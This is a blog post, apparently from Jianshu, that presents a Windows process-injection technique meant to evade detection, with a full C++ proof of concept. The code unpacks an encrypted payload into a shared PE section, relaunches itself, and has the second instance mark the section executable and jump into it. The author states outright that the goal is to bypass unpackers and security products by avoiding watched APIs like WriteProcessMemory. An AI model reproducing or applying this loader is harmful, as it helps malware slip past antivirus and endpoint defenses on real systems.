Windows 上的另类注入方法

.shared section are used as a way to share data between multiple instances(e.g.A' and A'') of an application.If you modify the shared data in A' process, you will get the modified data in A'' process, even if A''is created after the data modification.

How can we use this to ‘inject’ a code?

If we have an application'X', which contains encrypted/packed code and we want to decrypt the code and execute it from a remote process, after decrypting/unpacking the code, we need to write the code into a remote process (e.g. viaWriteProcessMemory, etc) and execute it (e.g. CreateRemoteThread,QueueUserAPC, etc).

Execution of child process or chain of child processes is a good way to bypass/hinder many security products, but WriteProcessMemory, CreateRemoteThread, etc. are famous functions used for process injections, so they are suspicious.

'inject' code using a .shared section

We can use.shared section to modify data in a remote process by just modifying the data inside the current process.

Create a.shared section:

#pragma data_seg("unpacked")

char buf[BUF_SIZE + 1]{ "N" };

#pragma data_seg()

#pragma comment(linker, "/Section:unpacked,RWS")


first process:

1.Unpack/decrypt code

2.Copy to the shared section

3.Execute the current application (the second instance)

if (buf[0] == 'N') {

byte unpacked_code[BUF_SIZE]{};

unpack_code(packed_code, unpacked_code);

memcpy_s(buf + 1, BUF_SIZE, unpacked_code, BUF_SIZE);

buf[0] = 'Y';

TCHAR filePath[MAX_PATH]{};

GetModuleFileName(nullptr, filePath, MAX_PATH);

STARTUPINFO si{ sizeof(STARTUPINFO) };

PROCESS_INFORMATION pi{};

CreateProcess(nullptr, filePath, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

CloseHandle(pi.hProcess);

CloseHandle(pi.hThread);

}

It’s the second instance of the sample application but with modified.sharedsection (there is decrypted/unpacked code)

else if (buf[0] == 'Y') {

DWORD old{};

    VirtualProtect(buf, BUF_SIZE + 1, PAGE_EXECUTE_READWRITE, &old);

__asm {

lea eax, buf;

add eax, 1;

push eax;

ret;

}

}


Conclusion:

The first instance of the application does nothing but decrypting/unpacking a code.The second instance of the application does nothing but executing the code decrypted/unpacked by the first instance.This way of separating unpacking and unpacked code execution into two processes without writing the unpacked code to the second instance (e.g. viaWriteProcessMemory, etc.) maybe can be used to bypass generic unpackers and/or security products.

PoC:

#include <Windows.h>

#define PAGE_SIZE 0x1000

#define BUF_SIZE PAGE_SIZE * 0x10

#pragma data_seg("unpacked")

char buf[BUF_SIZE + 1]{ "N" };

#pragma data_seg()

#pragma comment(linker, "/Section:unpacked,RWS")

byte packed_code[BUF_SIZE] { ... };

void unpack_code(byte* packed, byte* unpacked);

int main()

{

if (buf[0] == 'N') {

byte unpacked_code[BUF_SIZE]{};

unpack_code(packed_code, unpacked_code);

memcpy_s(buf + 1, BUF_SIZE, unpacked_code, BUF_SIZE);

buf[0] = 'Y';

TCHAR filePath[MAX_PATH]{};

GetModuleFileName(nullptr, filePath, MAX_PATH);

STARTUPINFO si{ sizeof(STARTUPINFO) };

PROCESS_INFORMATION pi{};

CreateProcess(nullptr, filePath, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

CloseHandle(pi.hProcess);

CloseHandle(pi.hThread);

}

else if (buf[0] == 'Y') {

DWORD old{};

    VirtualProtect(buf, BUF_SIZE + 1, PAGE_EXECUTE_READWRITE, &old);

__asm {

lea eax, buf;

add eax, 1;

push eax;

ret;

}

}

}

This idea comes from @_qaz_qaz  ,thanks

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • rljs by sennchi Timeline of History Part One The Cognitiv...
    sennchi阅读 12,136评论 0 10
  • 目标: 群内伙伴们清晰了解食堂内食品清呤卫士,低唐卫士,摇摇杯,护足康特点。 内容: 哲成食堂食品一月一期,循环播...
    哲成家阅读 1,514评论 0 0
  • 2010年30岁我的目标是买一栋属于自己的房子 2013年33岁时我成功买了一套属于自己的房子 2013年我开始做...
    美言君读阅读 2,880评论 1 3
  • 此书节奏较快,适合逐字阅读,细细品味其中略有深意。 _ _ _ 真一派所在的鹤山山顶,直插云霄,几大建筑坐落于云...
    予一声阅读 2,929评论 0 1
  • 我把时间煮成雨 ——茹心 手掌不大,指缝很小,影印在手掌中的时间,瘦成了骆驼祥子。 有时候会想,一辈子的时光,到底...
    茹心阅读 1,332评论 0 1